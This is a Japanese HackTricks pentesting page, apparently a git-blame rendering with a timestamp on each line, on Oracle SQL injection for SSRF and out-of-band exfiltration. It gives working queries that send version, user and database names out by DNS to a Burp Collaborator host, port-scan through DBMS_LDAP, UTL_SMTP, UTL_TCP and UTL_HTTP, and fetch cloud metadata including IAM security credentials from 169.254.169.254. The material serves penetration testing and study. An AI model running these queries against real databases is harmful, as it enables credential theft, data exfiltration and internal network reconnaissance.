2023-08-31 17:25:15 +00:00
# Oracleインジェクション
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-31 17:25:15 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-31 17:25:15 +00:00
## SSRF
2022-04-28 16:01:33 +00:00
2023-08-31 17:28:29 +00:00
Oracleを使用して、Out of BandのHTTPおよびDNSリクエストを行うことはよく文書化されていますが、インジェクションにおいてSQLデータを外部に漏洩させる手段としても使用できます。これらのテクニック/関数を常に変更して、他のSSRF/XSPAを実行することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Oracleのインストールは非常に面倒ですが、コマンドを試すために素早くインスタンスをセットアップしたい場合は特にそうです。私の友人であり、[Appsecco](https://appsecco.com)の同僚である[Abhisek Datta](https://github.com/abhisek)は、[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
このブログポストの過程で、Oracleをネイティブインストールとしてネットワークに完全アクセスできるようにするために、dockerコマンドを`--network="host"`フラグとともに実行しました。
2021-10-18 11:21:18 +00:00
```
2023-07-07 23:42:27 +00:00
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
2020-07-15 15:43:14 +00:00
```
2023-08-31 17:25:15 +00:00
#### URLまたはホスト名/ポート番号の指定をサポートするOracleパッケージ <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
ホストとポートの指定をサポートするパッケージと関数を見つけるために、[Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html)でGoogle検索を実行しました。具体的には、以下のキーワードで検索しました。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
2023-08-31 17:25:15 +00:00
以下は検索結果です(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
2021-10-18 11:21:18 +00:00
2021-11-30 16:46:07 +00:00
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
2023-08-31 17:25:15 +00:00
この簡単な検索では、`DBMS_LDAP`(ホスト名とポート番号を渡すことができる)のようなパッケージはスキップされます。[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)では、単に[別の場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)に案内されます。したがって、見落とした可能性のある他のOracleパッケージが存在するかもしれません。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
いずれにせよ、上記で発見しリストアップしたいくつかのパッケージを見てみましょう。
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**DBMS\_LDAP.INIT**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
`DBMS_LDAP` パッケージは、LDAPサーバーからデータにアクセスするためのものです。`init()`関数は、LDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
この関数は、以下のようにDNS経由でのデータの外部への流出を示すために以前に文書化されています。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
2023-08-31 17:35:40 +00:00
しかしながら、この関数はホスト名とポート番号を引数として受け取るため、これをポートスキャナのように使用することもできます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
以下にいくつかの例を示します。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
2023-08-31 17:28:29 +00:00
`ORA-31203: DBMS_LDAP: PL/SQL - 初期化に失敗しました。` は、セッション値がポートが開いていることを指しているにもかかわらず、ポートが閉じていることを示しています。
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**UTL\_SMTP**
2020-07-15 15:43:14 +00:00
2023-08-31 17:28:29 +00:00
`UTL_SMTP` パッケージは、SMTP経由で電子メールを送信するために設計されています。[Oracleのドキュメントサイトに提供されている例では、このパッケージを使用して電子メールを送信する方法が示されています](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478)。しかし、私たちにとって興味深いのは、ホストとポートの指定が可能な点です。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
以下に、タイムアウトが2秒の`UTL_SMTP.OPEN_CONNECTION`関数の簡単な例を示します。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
2023-08-31 17:28:29 +00:00
`ORA-29276: 転送タイムアウト` はポートが開いていることを示しますが、SMTP接続が確立されていません。一方、`ORA-29278: SMTP一時エラー: 421 サービスが利用できません` はポートが閉じていることを示します。
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**UTL\_TCP**
2020-07-15 15:43:14 +00:00
2023-08-31 17:28:29 +00:00
`UTL_TCP` パッケージとその手続きおよび関数は、[TCP/IPベースのサービスとの通信](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を可能にします。特定のサービスに対してプログラムされた場合、このパッケージはネットワークへの侵入経路となるか、TCP/IP接続のすべての側面を制御することができるため、完全なサーバーサイドリクエストを実行することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Oracleのドキュメントサイトの例では、このパッケージを使用してウェブページを取得するための生のTCP接続を作成する方法が示されています。さらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスへのリクエストを行うために使用することができます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set serveroutput on size 30000;
2023-07-07 23:42:27 +00:00
SET SERVEROUTPUT ON
2020-07-15 15:43:14 +00:00
DECLARE c utl_tcp.connection;
2023-07-07 23:42:27 +00:00
retval pls_integer;
2020-07-15 15:43:14 +00:00
BEGIN
2023-07-07 23:42:27 +00:00
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
2020-07-15 15:43:14 +00:00
END;
/
```
2023-08-31 17:28:29 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
DECLARE c utl_tcp.connection;
2023-07-07 23:42:27 +00:00
retval pls_integer;
2020-07-15 15:43:14 +00:00
BEGIN
2023-07-07 23:42:27 +00:00
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
2020-07-15 15:43:14 +00:00
END;
```
2023-08-31 17:35:40 +00:00
興味深いことに、生のTCPリクエストを作成できるため、このパッケージはTCPリクエスト内でメソッドタイプや追加のヘッダーを渡すことができるため、すべてのクラウドプロバイダのインスタンスメタデータサービスをクエリするためにも使用することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
**UTL\_HTTPとWebリクエスト**
2020-07-15 15:43:14 +00:00
2023-08-31 17:35:40 +00:00
おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されたテクニックは、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)です。このパッケージはドキュメントで次のように定義されています - `UTL_HTTPパッケージは、SQLおよびPL/SQLからハイパーテキスト転送プロトコル( HTTP) の呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。`
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
2023-08-31 17:28:29 +00:00
以下のようなクエリを使用して、いくつかの基本的なポートスキャンも実行することができます。
2020-07-15 15:43:14 +00:00
2023-08-31 17:28:29 +00:00
```sql
SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 22) IS NULL) THEN 'Port 22 is closed' ELSE 'Port 22 is open' END FROM DUAL;
SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 80) IS NULL) THEN 'Port 80 is closed' ELSE 'Port 80 is open' END FROM DUAL;
SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 443) IS NULL) THEN 'Port 443 is closed' ELSE 'Port 443 is open' END FROM DUAL;
```
2023-08-31 17:35:40 +00:00
これにより、指定したIPアドレスとポート番号に対して接続を試み、接続が成功したかどうかを判断することができます。接続が成功した場合、ポートは開いていると判断されます。接続が失敗した場合、ポートは閉じていると判断されます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
2023-08-31 17:28:29 +00:00
`ORA-12541: TNS:no listener` または`TNS:operation timed out`は、TCPポートが閉じていることを示すサインです。一方、`ORA-29263: HTTP protocol error`またはデータは、ポートが開いていることを示しています。
2020-07-15 15:43:14 +00:00
2023-08-31 17:35:40 +00:00
過去に使用した別のパッケージは、[`HTTPURITYPE` Oracle抽象型の`GETCLOB()`メソッド](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705)です。このメソッドを使用すると、URLとのやり取りが可能であり、HTTPプロトコルのサポートも提供されます。`GETCLOB()`メソッドは、URLからのGETレスポンスを[CLOBデータ型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-31 17:25:15 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
2023-08-31 17:35:40 +00:00
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **にPRを提出してください。**
2022-04-28 16:01:33 +00:00
< / details >